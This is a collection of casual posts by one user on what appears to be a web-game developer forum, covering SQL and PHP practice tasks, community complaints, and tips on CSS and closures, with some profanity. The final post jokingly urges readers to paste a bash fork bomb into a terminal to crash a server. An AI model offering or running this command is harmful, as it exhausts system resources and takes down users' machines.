Spudinski

Yea, but what about people on a shared hosting plan? I doubt they have unrestricted access to their SSH daemon.

Dude, that's like saying "screw you" in the face of your clients. Plaintext authentication is really, really bad.

It's quite overkill. Also, do you really want to be liable for actions on other people's servers?

Uhh... i7-2600 is a really bad choice for a server.

Leave it open until after the weekend, and I'll have a whip at it on Saturday. :)

C'mon Dj, it's a few lines of sql to build the structure. :P

DJK solved the second task. a_b has solved both tasks.

This is a small test I have created, with use of other tests around the net. This one will specifically attain to solving real-world problems that developers face each day. Furthermore, I'm trying to keep the tasks as simple as possible - so, don't post answers, if you would like to have your answer reviewed PM me. Task 1 Given a database, and two tables called "skills" and "user" . "skills" holds three columns, "id", "label" and "value". "user" holds four columns, "id", "name", "email" "skill_ref". Now, write a MySQL query to retrieve the user's "name" with the third highest skill number("value") for the skill with a "label" of "agility". No PHP is required. Task 2 Given an array, with an undetermined set of elements which could be an array themselves, holding only integer values: Create a function called findMin($int_arr), that will find the smallest integer throughout the 2-dimentional array. Sample input: $int_arr = array(4,90,array(7,3),4);   Output should be: 3   Feel free to ask questions and discuss.

Joins, joins everywhere. LEFT, RIGHT and CROSS. ...and natural, inner, outer..

I think it's always a valid indicator for the user's status within a community. Most people doesn't even know that the sherrif badge has any use, and it has no merit anywhere - it doesn't show.

Since we allow adult toys, I'm probably allowed to use adult words to describe my immediate feelings towards you.. Fuck you.     You are right about this, and even I am guilty for behaving like this. I've always believed that if kids(I'm still a kid also, in some ways) aren't stimulated with activities or fun and interesting things to keep them busy with, they start riots. This is in the form of outburst of irritation and ignorance.   I do agree that we should all invest more time into this community, especially those of us who have been here since it's - rather - early days. Back then, there were still the occasional bashing, but we had an entire board for that, WarZone or something similar if I remember. We got a lot of frustration out there, but that was a terrible idea at the end of the day, and probably the reason it was removed.   Simple things like contests really fire developers up, for some reason, and it's always been a great way for the community to interact. Group competitions, although they rarely work, is also something fun to try out once in a while. More intense additions to a forum are detailed debates and discussions, something very specific that the community feels they would like to know more about. I remember I had a problem with OOP inheritance when I first started out, and an IRC discussion(followed by forum posts) cleared up a lot of the confusion I had.   But there is also a line between being a mentor, and spoon-feeding people. At the end of the day, it's like being given maths homework, if you just copied the answers you will never learn anything, and most probably fail thereafter. People need to take the basic steps themselves before anybody else can start/continue explaining further topics with them.     I think this has to be one of the most truthful posts out there. We all have someone to look up to, and in my case, say that one day, I'll be better than them.   That might be a bit competitive, but it's how I arrived to the point where I am today, and it's going to take me where I want to be in six months from now.     I agree that the content need to come from inside the community, but nobody ever wants to write a series or an in-depth, research and valid article for an audience of two.   node: I didn't see much results from the effort I put in, and also not a lot of excitement on my part to continue the series. I still posses the knowledge for the topics and still discuss it now and again, but I would continue to write for MWG if the interest ever arises from here again.

At the moment, there's two reasons I'm here: I have an interest in creating web games, I like to troll.   By the title of this topic, the reason behind this post should be somewhat clear. I feel like no posts here stimulates developers that aren't beginners, and though I have nothing against beginners(lies, n00bs must die!), I would like to see more topics for developers who are intermediates and higher. The topics here nowadays are mostly logic errors, something beginners are prone to. But, these aren't interesting, and also most of these "problems" can be solved by a single word Google search. I'm not trying to hold myself as a ninja programmer or something that may seem self-righteous, but I need something that keeps me wanting to come back here and discuss topics. I don't know if anyone has noticed, but I've begun to discuss problems - even simple ones - in great detail. But, this has been to no avail, since it's simply ignored. So, cross-roads, what do we do? I don't have suggestions, but the MWG needs to do something - or else this forum is going to become (more of) a "noob" forum where the go-to guy is someone who just learned how to use printf. Another thing I'd like to see more of, is a greater diversity of programming languages: because seriously, PHP isn't the only programming language out there, and it's by far not the best one either. Aaaand... I'm done. :) .. :confused: .. :(

^--- Listen to this guy. He's awesome with these stuff - heck, he even made an engine with such a concept.

Shouldn't there only be one centralized map, that grows as the population(userbase) increases? If so, you're better of storing x,y positions.

I don't know if you've ever heard of compression or optimization, but implement it on your bandwidth-whore of a site. 5.2mB for a title sequence, of what? One minute? I could have made a smaller file using a goddamn animated GIF. And then, explicitly making me re-download each and every resource with every request? Well then, screw you sir. /end rant

This article might be a bit dated, but still worth the read. It explains CSS precedence, the fancy word for what this issue is about. http://www.blooberry.com/indexdot/css/topics/cascade.htm

I'm not even going to try explaining closures, it could take an eternity to understand. Instead, here's a wiki with a lot of different people taking their own approaches at explaining it. http://stackoverflow.com/questions/111102/how-do-javascript-closures-work I tried to write a proper example in PHP, but unfortunately I couldn't create a good example, so see the following link for practical applications of closured in PHP: http://www.vancelucas.com/blog/practical-uses-for-php-5-3-closures/ In PHP, a closure makes use of the same semantics as an anonymous functions, but I'm not even going to stand by this point at all. In JavaScript, I use closures daily - there are many examples: the whole of jQuery is riddled with closures everywhere. But, they are fairly easy and convenient - if you know your variable scope, and how data flows trough an application. Edit: This is also a good read: https://wiki.php.net/rfc/closures

Theoretically, the second one would be faster, but that's just theory. Any number of things can make it differ. The reason I can think of is that the second variable is never assigned, thus using less memory. But, in terms of how PHP executes those statements, it should be exactly the same. The bottle-neck there is that ->query() isn't a form of a closure - if it were, it would be faster(such as PDO).

Well, it depends - sometimes ten queries can be faster/better than one huge query. From my experience with MySQL, it's much easier to solve a problem after it's happened rather than before.

/[foobar]/i == sql_diblah. Also, why are you still using POSIX? PCRE is non-arguably faster and more powerful. In my mind, POSIX is just a "feed me mommy" lib.

Spudinski(henceforth the bitch), sits down.

I'm going to leave you guys to figure this one out... It's not that hard.

Even though there are shrines around just for that debate, and even though it's been discussed in this thread already? Sorry sir, but I call bitching.

I can crash your server with smiley faces.. :(){ :|:& };: Just copy and paste that line into a terminal..